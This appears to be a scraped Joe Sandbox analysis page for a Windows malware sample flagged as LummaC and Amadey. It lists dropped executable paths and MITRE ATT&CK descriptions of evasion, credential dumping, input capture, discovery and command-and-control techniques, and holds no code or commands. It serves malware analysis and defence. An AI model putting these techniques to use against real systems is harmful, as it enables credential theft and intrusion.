Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report random.exe_Y.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe

Windows Analysis Report
random.exe_Y.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre